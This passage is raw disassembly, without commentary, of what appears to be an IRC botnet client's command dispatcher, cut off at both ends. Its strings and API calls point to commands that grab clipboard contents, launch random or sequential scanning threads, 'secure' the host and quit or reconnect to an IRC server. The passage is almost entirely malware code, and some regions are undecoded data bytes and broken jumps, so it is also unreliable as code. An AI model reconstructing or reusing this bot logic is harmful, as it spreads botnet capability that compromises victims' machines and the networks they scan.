ptr [ebp-314h], 1F4h mov [ebp+8], ebx jz short loc_40E990 mov eax, [ebp+20h] mov edi, offset dword_422880 lea esi, [eax-0Ah] loc_40E95A: ; CODE XREF: .nsp0:0040E972j lea eax, [edi-28h] push esi push eax call sub_412310 pop ecx test eax, eax pop ecx jz short loc_40E976 inc dword ptr [ebp+8] add edi, 3Ch cmp [edi], ebx jnz short loc_40E95A jmp short loc_40E990 ; --------------------------------------------------------------------------- loc_40E976: ; CODE XREF: .nsp0:0040E968j mov eax, [ebp+8] mov ecx, eax mov [ebp-300h], eax imul ecx, 3Ch mov ecx, dword_422880[ecx] mov [ebp-31Ch], ecx loc_40E990: ; CODE XREF: .nsp0:0040E94Dj ; .nsp0:0040E974j cmp [ebp-31Ch], ebx jz loc_40EB99 push 10h lea eax, [ebp+18h] pop esi push eax lea eax, [ebp-2D8h] push eax mov [ebp+18h], esi push dword ptr [ebp+0Ch] call dword_433A6C ; getsockname mov al, [ebp-9B3h] push esi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp-2D4h], eax push dword ptr [ebp-2D4h] call dword_433B54 ; inet_ntoa push eax lea eax, [ebp-430h] push eax call sub_413710 xor eax, eax cmp [ebp-9B3h], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp-430h] push eax call sub_413A10 add esp, 14h cmp edi, ebx mov [ebp+2Fh], bl jle short loc_40EA32 loc_40EA10: ; CODE XREF: .nsp0:0040EA30j cmp eax, ebx jz short loc_40EA32 mov byte ptr [eax], 78h lea eax, [ebp-430h] push 30h push eax call sub_413A10 inc byte ptr [ebp+2Fh] pop ecx pop ecx movsx ecx, byte ptr [ebp+2Fh] cmp ecx, edi jl short loc_40EA10 loc_40EA32: ; CODE XREF: .nsp0:0040EA0Ej ; .nsp0:0040EA12j mov eax, [ebp+0Ch] push dword ptr [ebp-8Ch] mov esi, [ebp-4] mov [ebp-320h], eax mov eax, [ebp-8] mov edi, 80h mov [ebp-2F4h], eax lea eax, [ebp-420h] push edi push eax mov dword ptr [ebp-2F0h], 1 mov [ebp-2F8h], esi call sub_41246A push offset byte_432708 push offset dword_425C00 call sub_412310 add esp, 14h test eax, eax jz short loc_40EA9C push offset dword_425C00 lea eax, [ebp-3A0h] push edi push eax call sub_41246A add esp, 0Ch jmp short loc_40EAA2 ; --------------------------------------------------------------------------- loc_40EA9C: ; CODE XREF: .nsp0:0040EA83j mov [ebp-3A0h], bl loc_40EAA2: ; CODE XREF: .nsp0:0040EA9Aj cmp [ebp-2F0h], ebx mov eax, offset aRandom_0 ; "Random" jnz short loc_40EAB4 mov eax, offset aSequential ; "Sequential" loc_40EAB4: ; CODE XREF: .nsp0:0040EAADj push dword ptr [ebp-304h] lea ecx, [ebp-430h] push dword ptr [ebp-314h] push dword ptr [ebp-318h] push dword ptr [ebp-31Ch] push ecx push eax lea eax, [ebp-2C8h] push offset dword_42D680 push eax call sub_411EEE push ebx lea eax, [ebp-2C8h] push 8 push eax call sub_41199A add esp, 2Ch mov [ebp-310h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-430h] push ebx push eax push offset sub_405FF1 push ebx push ebx call dword_41D070 ; CreateThread mov ecx, [ebp-310h] imul ecx, 234h cmp eax, ebx mov dword_438C6C[ecx], eax jz short loc_40EB3E loc_40EB2C: ; CODE XREF: .nsp0:0040EB3Cj cmp [ebp-2ECh], ebx jnz short loc_40EB59 push 32h call dword_41D05C ; Sleep jmp short loc_40EB2C ; --------------------------------------------------------------------------- loc_40EB3E: ; CODE XREF: .nsp0:0040EB2Aj call dword_41D06C ; RtlGetLastWin32Error push eax lea eax, [ebp-2C8h] push offset dword_42E684 push eax call sub_411EEE add esp, 0Ch loc_40EB59: ; CODE XREF: .nsp0:0040EB32j cmp [ebp-8], ebx jnz short loc_40EB78 push ebx lea eax, [ebp-2C8h] push esi push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40F9F1 add esp, 14h loc_40EB78: ; CODE XREF: .nsp0:0040EB5Cj lea eax, [ebp-2C8h] push eax call sub_408E17 pop ecx loc_40EB85: ; CODE XREF: .nsp0:0040E91Aj add dword ptr [ebp+20h], 0Bh mov eax, [ebp+20h] cmp [eax], bl jnz loc_40E8D0 jmp loc_40A7B4 ; --------------------------------------------------------------------------- loc_40EB99: ; CODE XREF: .nsp0:0040CEFCj ; .nsp0:0040E996j push offset dword_42D634 jmp loc_40EF8A ; --------------------------------------------------------------------------- loc_40EBA3: ; CODE XREF: .nsp0:0040B792j ; .nsp0:0040B7A7j push 4 call sub_411BE2 test eax, eax pop ecx jle short loc_40EBC7 push offset unk_42D600 loc_40EBB4: ; CODE XREF: .nsp0:0040BB5Fj ; .nsp0:0040BC6Aj ... lea eax, [ebp-2C8h] push eax call sub_411EEE pop ecx pop ecx jmp loc_40F73A ; --------------------------------------------------------------------------- loc_40EBC7: ; CODE XREF: .nsp0:0040EBADj mov eax, [ebp+esi-90h] cmp eax, ebx jz short loc_40EBEA push eax mov edi, 104h lea eax, [ebp-804h] push edi push eax call sub_41246A add esp, 0Ch jmp short near ptr loc_40EBFD+1 ; --------------------------------------------------------------------------- loc_40EBEA: ; CODE XREF: .nsp0:0040EBD0j mov edi, 104h lea eax, [ebp-804h] push edi push eax push ebx call near ptr 0AB0000h loc_40EBFD: ; CODE XREF: .nsp0:0040EBE8j mov [ebx-8BCA4Ch], cl ; --------------------------------------------------------------------------- db 0FFh dd 75F33BFFh, 5BC0BE05h, 8D560042h, 0FFF90085h, 0E85057FFh dd 384Eh, 425B58A1h, 0FF7F6A00h, 0FFFF74B5h, 0C8589FFh dd 8BFFFFFAh, 9D890C45h, 0FFFFFA08h, 0F7F88589h, 858DFFFFh dd 0FFFFFA10h, 4AC6E850h, 458B0000h, 908589FCh, 8BFFFFFAh dd 8589F845h, 0FFFFFA94h, 0F900858Dh, 8D50FFFFh, 0FFF7FC85h dd 858D50FFh, 0FFFFFD38h, 0FA0CB5FFh, 0A468FFFFh, 5000422Bh dd 326DE8h, 858D5300h, 0FFFFFD38h, 0E850046Ah, 2D0Ah, 8938C483h dd 0FFFA0485h, 0F0458DFFh, 0F8858D50h, 53FFFFF7h, 52906850h dd 53530040h, 0D07015FFh, 8D8B0041h, 0FFFFFA04h, 234C969h dd 0C33B0000h, 8C6C8189h, 16740043h, 0FA989D39h, 850FFFFFh dd 0A66h, 15FF326Ah, 41D05Ch, 15FFEAEBh, 41D06Ch, 0D5B46850h dd 3CE90042h db 0Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_40ECEF: ; CODE XREF: .nsp0:0040B768j ; .nsp0:0040B77Dj mov edi, [ebp+esi-90h] cmp edi, ebx jz short loc_40ED0E push edi call sub_41245F test eax, eax pop ecx jz short loc_40ED0E push edi call sub_41245F pop ecx jmp short loc_40ED13 ; --------------------------------------------------------------------------- loc_40ED0E: ; CODE XREF: .nsp0:0040ECF8j ; .nsp0:0040ED03j mov eax, dword_425B5C loc_40ED13: ; CODE XREF: .nsp0:0040ED0Cj mov esi, [ebp+esi-8Ch] mov [ebp-584h], eax xor eax, eax cmp [ebp-9B0h], bl setz al cmp esi, ebx mov [ebp-570h], eax jz short loc_40ED46 lea eax, [ebp-688h] push esi push eax call sub_411EEE pop ecx pop ecx jmp short loc_40ED71 ; --------------------------------------------------------------------------- loc_40ED46: ; CODE XREF: .nsp0:0040ED33j lea eax, [ebp-3E8h] push 104h push eax call near ptr 0AB0000h push edx push ebx push ebx lea eax, [ebp-2D4h] push ebx push eax lea eax, [ebp-3E8h] push eax call sub_413BF8 add esp, 14h loc_40ED71: ; CODE XREF: .nsp0:0040ED44j lea eax, [ebp-688h] push eax call sub_4126F0 cmp byte ptr [ebp+eax-689h], 5Ch pop ecx jnz short loc_40ED9C lea eax, [ebp-688h] push eax call sub_4126F0 pop ecx mov [ebp+eax-689h], bl loc_40ED9C: ; CODE XREF: .nsp0:0040ED86j push dword ptr [ebp-8Ch] mov esi, [ebp+0Ch] lea eax, [ebp-910h] mov [ebp-914h], esi push 80h push eax call sub_41246A mov eax, [ebp-8] mov edi, [ebp-4] add esp, 0Ch mov [ebp-574h], eax lea eax, [ebp-688h] mov [ebp-578h], edi push eax push dword ptr [ebp-584h] push esi call sub_408045 pop ecx push eax lea eax, [ebp-2C8h] push offset unk_422A74 push eax call sub_411EEE push ebx lea eax, [ebp-2C8h] push 3 push eax call sub_41199A add esp, 20h mov [ebp-57Ch], eax lea eax, [ebp-10h] push eax lea eax, [ebp-914h] push ebx push eax push offset sub_404175 push ebx push ebx call dword_41D070 ; CreateThread mov ecx, [ebp-57Ch] imul ecx, 234h cmp eax, ebx mov dword_438C6C[ecx], eax jz short loc_40EE50 loc_40EE3E: ; CODE XREF: .nsp0:0040EE4Ej cmp [ebp-568h], ebx jnz short loc_40EE6B push 32h call dword_41D05C ; Sleep jmp short loc_40EE3E ; --------------------------------------------------------------------------- loc_40EE50: ; CODE XREF: .nsp0:0040EE3Cj call dword_41D06C ; RtlGetLastWin32Error push eax push offset unk_42D568 loc_40EE5C: ; CODE XREF: .nsp0:0040D416j ; .nsp0:0040D510j lea eax, [ebp-2C8h] push eax call sub_411EEE add esp, 0Ch loc_40EE6B: ; CODE XREF: .nsp0:0040D3FAj ; .nsp0:0040D4F4j ... cmp [ebp-8], ebx jnz loc_40C897 push ebx push edi loc_40EE76: ; CODE XREF: .nsp0:0040CCC2j lea eax, [ebp-2C8h] push eax push dword ptr [ebp-8Ch] push esi jmp loc_40C88F ; --------------------------------------------------------------------------- loc_40EE89: ; CODE XREF: .nsp0:0040B73Ej ; .nsp0:0040B753j mov esi, [ebp+esi-90h] cmp esi, ebx jz short loc_40EE9C push esi call sub_41245F jmp short loc_40EEA3 ; --------------------------------------------------------------------------- loc_40EE9C: ; CODE XREF: .nsp0:0040EE92j push 8 call sub_411C01 loc_40EEA3: ; CODE XREF: .nsp0:0040EE9Aj cmp eax, ebx pop ecx jz loc_40F7D2 push eax push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_405851 loc_40EEBE: ; CODE XREF: .nsp0:0040F32Ej add esp, 10h jmp loc_40F7D2 ; --------------------------------------------------------------------------- loc_40EEC6: ; CODE XREF: .nsp0:0040B714j ; .nsp0:0040B729j mov eax, dword_4339F0 cmp eax, ebx jz short loc_40EEE3 call eax ; dword_4339F0 test eax, eax jz short loc_40EEDC push offset unk_42D530 jmp short loc_40EEF8 ; --------------------------------------------------------------------------- loc_40EEDC: ; CODE XREF: .nsp0:0040EED3j push offset unk_42D4F0 jmp short loc_40EEF8 ; --------------------------------------------------------------------------- loc_40EEE3: ; CODE XREF: .nsp0:0040EECDj push offset unk_42D4B0 jmp short loc_40EEF8 ; --------------------------------------------------------------------------- loc_40EEEA: ; CODE XREF: .nsp0:0040B6EAj ; .nsp0:0040B6FFj call sub_407F67 test eax, eax jz short loc_40EF0E push offset unk_42D478 loc_40EEF8: ; CODE XREF: .nsp0:0040EEDAj ; .nsp0:0040EEE1j ... lea eax, [ebp-2C8h] push 200h push eax call sub_41246A jmp loc_40F692 ; --------------------------------------------------------------------------- loc_40EF0E: ; CODE XREF: .nsp0:0040EEF1j push offset unk_42D438 jmp short loc_40EEF8 ; --------------------------------------------------------------------------- loc_40EF15: ; CODE XREF: .nsp0:0040B6C0j ; .nsp0:0040B6D5j cmp [ebp-8], ebx jnz short loc_40EF34 push ebx push dword ptr [ebp-4] push offset aClipboardData ; "-[Clipboard Data]-" push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40F9F1 add esp, 14h loc_40EF34: ; CODE XREF: .nsp0:0040EF18j push ebx push dword ptr [ebp-4] call sub_407B66 push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40F9F1 push offset dword_42D3F4 jmp loc_40F1FD ; --------------------------------------------------------------------------- loc_40EF56: ; CODE XREF: .nsp0:0040B5E0j ; .nsp0:0040B5F5j push 7 call sub_411BE2 test eax, eax pop ecx jle short loc_40EF69 push offset dword_42D3B8 jmp short loc_40EF8A ; --------------------------------------------------------------------------- loc_40EF69: ; CODE XREF: .nsp0:0040EF60j push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call near ptr loc_4086D0+1 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_40EF85 push offset dword_42D37C jmp short loc_40EF8A ; --------------------------------------------------------------------------- loc_40EF85: ; CODE XREF: .nsp0:0040EF7Cj push offset dword_42D348 loc_40EF8A: ; CODE XREF: .nsp0:0040CA5Fj ; .nsp0:0040CB8Fj ... lea eax, [ebp-2C8h] push eax call sub_411EEE pop ecx pop ecx jmp loc_40C876 ; --------------------------------------------------------------------------- loc_40EF9D: ; CODE XREF: .nsp0:0040B5B6j ; .nsp0:0040B5CBj push dword ptr [ebp-8] push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_407553 jmp loc_40F21B ; --------------------------------------------------------------------------- loc_40EFB6: ; CODE XREF: .nsp0:0040B58Cj ; .nsp0:0040B5A1j push dword ptr [ebp+esi-90h] push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_409981 jmp loc_40F21B ; --------------------------------------------------------------------------- loc_40EFD3: ; CODE XREF: .nsp0:0040B562j ; .nsp0:0040B577j or edi, 0FFFFFFFFh call dword_41D048 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi-90h] cmp esi, ebx mov [ebp+8], eax jz short loc_40EFFC push esi call sub_41245F pop ecx mov edi, eax loc_40EFFC: ; CODE XREF: .nsp0:0040EFF1j mov eax, [ebp+8] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_40F015 cmp edi, 0FFFFFFFFh jnz loc_40F7D2 loc_40F015: ; CODE XREF: .nsp0:0040F00Aj push ebx call sub_408886 push eax lea eax, [ebp-2C8h] push offset dword_42D31C push eax call sub_411EEE push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40F9F1 lea eax, [ebp-2C8h] push eax call sub_408E17 jmp loc_40D24B ; --------------------------------------------------------------------------- loc_40F057: ; CODE XREF: .nsp0:0040B538j ; .nsp0:0040B54Dj push 1Eh call sub_411BE2 test eax, eax pop ecx jle short loc_40F08B cmp [ebp-8], ebx jnz loc_40A7B4 push ebx push dword ptr [ebp-4] push offset dword_42D2E8 push dword ptr [ebp-8Ch] loc_40F07B: ; CODE XREF: .nsp0:0040ABC2j push dword ptr [ebp+0Ch] call sub_40F9F1 add esp, 14h jmp loc_40A7B4 ; --------------------------------------------------------------------------- loc_40F08B: ; CODE XREF: .nsp0:0040F061j push dword ptr [ebp-8Ch] lea eax, [ebp-4DCh] push 80h push eax call sub_41246A mov eax, [ebp+0Ch] mov esi, [ebp+esi-90h] mov [ebp-4E0h], eax mov eax, [ebp-4] mov [ebp-454h], eax mov eax, [ebp-8] add esp, 0Ch cmp esi, ebx mov [ebp-450h], eax mov [ebp-458h], ebx jz short loc_40F0EC push esi push offset aFull ; "full" call sub_412310 pop ecx test eax, eax pop ecx jnz short loc_40F0EC mov dword ptr [ebp-458h], 1 loc_40F0EC: ; CODE XREF: .nsp0:0040F0CFj ; .nsp0:0040F0E0j lea eax, [ebp-2C8h] push offset dword_42D2AC push eax call sub_411EEE push ebx lea eax, [ebp-2C8h] push 1Eh push eax call sub_41199A add esp, 14h mov [ebp-45Ch], eax lea eax, [ebp-10h] push eax lea eax, [ebp-4E0h] push ebx push eax push offset sub_410C28 push ebx push ebx call dword_41D070 ; CreateThread mov ecx, [ebp-45Ch] imul ecx, 234h cmp eax, ebx mov dword_438C6C[ecx], eax jz short loc_40F15A loc_40F144: ; CODE XREF: .nsp0:0040F158j cmp [ebp-44Ch], ebx jnz loc_40C897 push 32h call dword_41D05C ; Sleep jmp short loc_40F144 ; --------------------------------------------------------------------------- loc_40F15A: ; CODE XREF: .nsp0:0040F142j call dword_41D06C ; RtlGetLastWin32Error push eax push offset dword_42D25C jmp loc_40DB89 ; --------------------------------------------------------------------------- loc_40F16B: ; CODE XREF: .nsp0:0040B50Ej ; .nsp0:0040B523j cmp [ebp-8], ebx jnz short loc_40F18A push ebx push dword ptr [ebp-4] push offset dword_42D230 push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40F9F1 add esp, 14h loc_40F18A: ; CODE XREF: .nsp0:0040F16Ej push dword ptr [ebp+0Ch] call dword_433B60 ; closesocket call dword_433A28 ; WSACleanup call loc_407CE9 push ebx call dword_41D108 ; ExitProcess loc_40F1A5: ; CODE XREF: .nsp0:0040B4E4j ; .nsp0:0040B4F9j push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push dword ptr [ebp+0Ch] push eax call sub_4089A5 pop ecx pop ecx push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40F9F1 push offset dword_42D204 jmp short loc_40F1FD ; --------------------------------------------------------------------------- loc_40F1D0: ; CODE XREF: .nsp0:0040B4BAj ; .nsp0:0040B4CFj push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push dword ptr [ebp+0Ch] push dword ptr [ebp+24h] push eax call sub_408C59 add esp, 0Ch push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40F9F1 push offset dword_42D1D8 loc_40F1FD: ; CODE XREF: .nsp0:0040EF51j ; .nsp0:0040F1CEj call sub_408E17 jmp loc_40E010 ; --------------------------------------------------------------------------- loc_40F207: ; CODE XREF: .nsp0:0040B490j ; .nsp0:0040B4A5j push dword ptr [ebp-8] push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_408EB7 loc_40F21B: ; CODE XREF: .nsp0:0040A6FEj ; .nsp0:0040EFB1j ... add esp, 10h jmp loc_40A7B4 ; --------------------------------------------------------------------------- loc_40F223: ; CODE XREF: .nsp0:0040B466j ; .nsp0:0040B47Bj cmp [ebp-0Ch], ebx mov [ebp-374h], bl jz short loc_40F262 mov esi, [ebp+esi-90h] cmp esi, ebx jz short loc_40F262 push esi push dword ptr [ebp-0Ch] call sub_4124C0 pop ecx cmp eax, ebx pop ecx jz short loc_40F262 push eax push offset aS_1 ; "%s" lea eax, [ebp-374h] push 80h push eax call sub_41246A add esp, 10h loc_40F262: ; CODE XREF: .nsp0:0040F22Cj ; .nsp0:0040F237j ... push dword ptr [ebp-8Ch] lea eax, [ebp-3F4h] push 80h push eax call sub_41246A mov eax, [ebp+0Ch] push offset dword_42D1AC mov [ebp-3F8h], eax mov eax, [ebp-4] mov [ebp-2F0h], eax mov eax, [ebp-8] mov [ebp-2ECh], eax lea eax, [ebp-2C8h] push eax call sub_411EEE push ebx lea eax, [ebp-2C8h] push 1Ch push eax call sub_41199A add esp, 20h mov [ebp-2F4h], eax lea eax, [ebp-10h] push eax lea eax, [ebp-3F8h] push ebx push eax push offset sub_408EF7 push ebx push ebx call dword_41D070 ; CreateThread mov ecx, [ebp-2F4h] imul ecx, 234h cmp eax, ebx mov dword_438C6C[ecx], eax jz short loc_40F302 loc_40F2EC: ; CODE XREF: .nsp0:0040F300j cmp [ebp-2E8h], ebx jnz loc_40A7B4 push 32h call dword_41D05C ; Sleep jmp short loc_40F2EC ; --------------------------------------------------------------------------- loc_40F302: ; CODE XREF: .nsp0:0040F2EAj call dword_41D06C ; RtlGetLastWin32Error push eax push offset dword_42D160 jmp loc_40F959 ; --------------------------------------------------------------------------- loc_40F313: ; CODE XREF: .nsp0:0040B43Cj ; .nsp0:0040B451j push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_408D9F push offset dword_42D134 call sub_408E17 jmp loc_40EEBE ; --------------------------------------------------------------------------- loc_40F333: ; CODE XREF: .nsp0:0040B412j ; .nsp0:0040B427j push dword ptr [ebp-8Ch] lea eax, [ebp-4DCh] push 80h push eax call sub_41246A mov eax, [ebp+0Ch] mov esi, [ebp+esi-90h] mov [ebp-4E0h], eax mov eax, [ebp-4] mov [ebp-454h], eax mov eax, [ebp-8] add esp, 0Ch cmp esi, ebx mov [ebp-450h], eax jz short loc_40F38D push offset dword_42D130 push esi call sub_412310 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp-458h], eax jmp short loc_40F393 ; --------------------------------------------------------------------------- loc_40F38D: ; CODE XREF: .nsp0:0040F371j mov [ebp-458h], ebx loc_40F393: ; CODE XREF: .nsp0:0040F38Bj lea eax, [ebp-2C8h] push offset dword_42D100 push eax call sub_411EEE push ebx lea eax, [ebp-2C8h] push 1Fh push eax call sub_41199A add esp, 14h mov [ebp-45Ch], eax lea eax, [ebp-10h] push eax lea eax, [ebp-4E0h] push ebx push eax push offset byte_411A05 push ebx push ebx call dword_41D070 ; CreateThread mov ecx, [ebp-45Ch] imul ecx, 234h cmp eax, ebx mov dword_438C6C[ecx], eax jz short loc_40F3FD loc_40F3EB: ; CODE XREF: .nsp0:0040F3FBj cmp [ebp-44Ch], ebx jnz short loc_40F418 push 32h call dword_41D05C ; Sleep jmp short loc_40F3EB ; --------------------------------------------------------------------------- loc_40F3FD: ; CODE XREF: .nsp0:0040F3E9j call dword_41D06C ; RtlGetLastWin32Error push eax push offset dword_42D0B4 loc_40F409: ; CODE XREF: .nsp0:0040E453j lea eax, [ebp-2C8h] push eax call sub_411EEE add esp, 0Ch loc_40F418: ; CODE XREF: .nsp0:0040E324j ; .nsp0:0040E33Cj ... lea eax, [ebp-2C8h] push eax jmp loc_40B6A6 ; --------------------------------------------------------------------------- loc_40F424: ; CODE XREF: .nsp0:0040B396j ; .nsp0:0040B3ABj push offset aIds4473 ; "ids4473" lea eax, [ebp-2C8h] push offset dword_42D088 push eax call sub_411EEE push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40F9F1 add esp, 20h jmp loc_40C0A0 ; --------------------------------------------------------------------------- loc_40F45B: ; CODE XREF: .nsp0:0040B36Cj ; .nsp0:0040B381j push dword_461F48 call sub_408886 push eax lea eax, [ebp-2C8h] push offset dword_42D048 push eax call sub_411EEE push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40F9F1 add esp, 24h jmp loc_40C0A0 ; --------------------------------------------------------------------------- loc_40F499: ; CODE XREF: .nsp0:0040B342j ; .nsp0:0040B357j mov esi, [ebp+esi-90h] cmp esi, ebx jz short loc_40F4CB cmp [ebp-0Ch], ebx jz short loc_40F4DA push esi push dword ptr [ebp-0Ch] call sub_4124C0 pop ecx cmp eax, ebx pop ecx jz short loc_40F4DA push eax push offset aQuitS ; "QUIT :%s\r\n" push dword ptr [ebp+0Ch] call sub_40F9AB add esp, 0Ch jmp short loc_40F4DA ; --------------------------------------------------------------------------- loc_40F4CB: ; CODE XREF: .nsp0:0040F4A2j push offset aQuitLater ; "QUIT :later\r\n" push dword ptr [ebp+0Ch] call sub_40F9AB pop ecx pop ecx loc_40F4DA: ; CODE XREF: .nsp0:0040F4A7j ; .nsp0:0040F4B6j ... push 0FFFFFFFEh jmp loc_40A7B6 ; --------------------------------------------------------------------------- loc_40F4E1: ; CODE XREF: .nsp0:0040B318j ; .nsp0:0040B32Dj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push dword ptr [ebp+0Ch] call sub_40F9AB push offset dword_42CFF4 call sub_408E17 add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_40A7B7 ; --------------------------------------------------------------------------- loc_40F503: ; CODE XREF: .nsp0:0040B2EEj ; .nsp0:0040B303j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push dword ptr [ebp+0Ch] call sub_40F9AB push offset dword_42CFB0 call sub_408E17 add esp, 0Ch xor eax, eax jmp loc_40A7B7 ; --------------------------------------------------------------------------- loc_40F524: ; CODE XREF: .nsp0:0040B2C4j ; .nsp0:0040B2D9j push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_405787 jmp loc_40DF79 ; --------------------------------------------------------------------------- loc_40F53A: ; CODE XREF: .nsp0:0040B21Fj ; .nsp0:0040B234j push dword ptr [ebp+esi-90h] push 1Eh push offset dword_42CFA0 push offset dword_42CF94 jmp short loc_40F562 ; --------------------------------------------------------------------------- loc_40F54F: ; CODE XREF: .nsp0:0040B1F5j ; .nsp0:0040B20Aj push dword ptr [ebp+esi-90h] push 1Bh push offset dword_42CF88 push offset dword_42CF78 loc_40F562: ; CODE XREF: .nsp0:0040B099j ; .nsp0:0040B0C2j ... push dword ptr [ebp-8] push dword ptr [ebp-4] push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_411C28 add esp, 20h jmp loc_40A7B4 ; --------------------------------------------------------------------------- loc_40F57E: ; CODE XREF: .nsp0:0040B030j ; .nsp0:0040B045j ... push edi push offset aSecure ; "secure" call sub_412310 pop ecx test eax, eax pop ecx jz short loc_40F5A6 push edi push offset aSec ; "sec" call sub_412310 pop ecx mov [ebp-458h], ebx test eax, eax pop ecx jnz short loc_40F5B0 loc_40F5A6: ; CODE XREF: .nsp0:0040F58Dj mov dword ptr [ebp-458h], 1 loc_40F5B0: ; CODE XREF: .nsp0:0040F5A4j push dword ptr [ebp-8Ch] lea eax, [ebp-4DCh] push 80h push eax call sub_41246A mov eax, [ebp+0Ch] add esp, 0Ch cmp [ebp-458h], ebx mov [ebp-4E0h], eax mov eax, [ebp-4] mov [ebp-454h], eax mov eax, [ebp-8] mov [ebp-450h], eax mov eax, offset aSecuring ; "Securing" jnz short loc_40F5F7 mov eax, offset aUnsecuring ; "Unsecuring" loc_40F5F7: ; CODE XREF: .nsp0:0040F5F0j push eax push offset dword_42CF28 lea eax, [ebp-2C8h] push 200h push eax call sub_41246A push ebx lea eax, [ebp-2C8h] push 19h push eax call sub_41199A add esp, 1Ch mov [ebp-45Ch], eax lea eax, [ebp-10h] push eax lea eax, [ebp-4E0h] push ebx push eax push offset sub_4112FF push ebx push ebx call dword_41D070 ; CreateThread mov ecx, [ebp-45Ch] imul ecx, 234h cmp eax, ebx mov dword_438C6C[ecx], eax jz short loc_40F66B loc_40F655: ; CODE XREF: .nsp0:0040F669j cmp [ebp-44Ch], ebx jnz loc_40C897 push 32h call dword_41D05C ; Sleep jmp short loc_40F655 ; --------------------------------------------------------------------------- loc_40F66B: ; CODE XREF: .nsp0:0040F653j call dword_41D06C ; RtlGetLastWin32Error push eax push offset unk_42CED8 jmp loc_40DB89 ; --------------------------------------------------------------------------- loc_40F67C: ; CODE XREF: .nsp0:0040B006j ; .nsp0:0040B01Bj push offset aEnz9_9b34 ; "enz 9.9b34" push offset dword_42CEB4 loc_40F686: ; CODE XREF: .nsp0:0040E408j ; .nsp0:0040E55Dj ... lea eax, [ebp-2C8h] push eax call sub_411EEE loc_40F692: ; CODE XREF: .nsp0:0040EF09j add esp, 0Ch jmp loc_40C07F ; --------------------------------------------------------------------------- loc_40F69A: ; CODE XREF: .nsp0:0040AFDCj ; .nsp0:0040AFF1j mov esi, [ebp+esi-90h] cmp esi, ebx jz short loc_40F6F1 push esi call sub_41245F cmp eax, ebx pop ecx jl short loc_40F6E9 cmp eax, 2 jge short loc_40F6E9 mov edx, [ebp+20h] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_40F6E1 lea eax, [esi+1] push eax lea eax, [ebp-2C8h] push offset dword_42FC54 push eax call sub_411EEE add esp, 0Ch mov [esi], bl jmp short loc_40F73A ; --------------------------------------------------------------------------- loc_40F6E1: ; CODE XREF: .nsp0:0040F6C3j push eax push offset dword_42CE74 jmp short loc_40F72B ; --------------------------------------------------------------------------- loc_40F6E9: ; CODE XREF: .nsp0:0040F6AEj ; .nsp0:0040F6B3j push eax push offset dword_42CE34 jmp short loc_40F72B ; --------------------------------------------------------------------------- loc_40F6F1: ; CODE XREF: .nsp0:0040F6A3j mov edi, [ebp+20h] xor esi, esi loc_40F6F6: ; CODE XREF: .nsp0:0040F712j push dword ptr [ebp-94h] push edi call sub_412310 pop ecx test eax, eax pop ecx jz short loc_40F716 inc esi add edi, 80h cmp esi, 2 jl short loc_40F6F6 jmp short loc_40F73A ; --------------------------------------------------------------------------- loc_40F716: ; CODE XREF: .nsp0:0040F706j mov eax, [ebp+20h] shl esi, 7 mov [esi+eax], bl lea eax, [ebp-0C4h] push eax push offset dword_42FC54 loc_40F72B: ; CODE XREF: .nsp0:0040BC32j ; .nsp0:0040BC60j ... lea eax, [ebp-2C8h] push eax call sub_411EEE add esp, 0Ch loc_40F73A: ; CODE XREF: .nsp0:0040BC16j ; .nsp0:0040BC46j ... cmp [ebp-8], ebx jnz short loc_40F75B push ebx lea eax, [ebp-2C8h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8Ch] push dword ptr [ebp+0Ch] call sub_40F9F1 add esp, 14h loc_40F75B: ; CODE XREF: .nsp0:0040B3FEj ; .nsp0:0040F73Dj ... push 1 pop esi jmp loc_40C0A3 ; --------------------------------------------------------------------------- loc_40F763: ; CODE XREF: .nsp0:0040AFB2j ; .nsp0:0040AFC7j push dword ptr [ebp-90h] push offset a332 ; "332" call sub_412310 pop ecx test eax, eax pop ecx jz short loc_40F7D2 call sub_411B63 push ebx call dword_41D108 ; ExitProcess loc_40F785: ; CODE XREF: .nsp0:0040AF88j ; .nsp0:0040AF9Dj push dword ptr [ebp+esi-90h] xor eax, eax cmp [ebp-9A4h], bl setnz al push eax lea eax, [ebp-564h] push dword_425B74 push eax call sub_4110D8 lea eax, [ebp-564h] push eax push offset aNickS ; "NICK 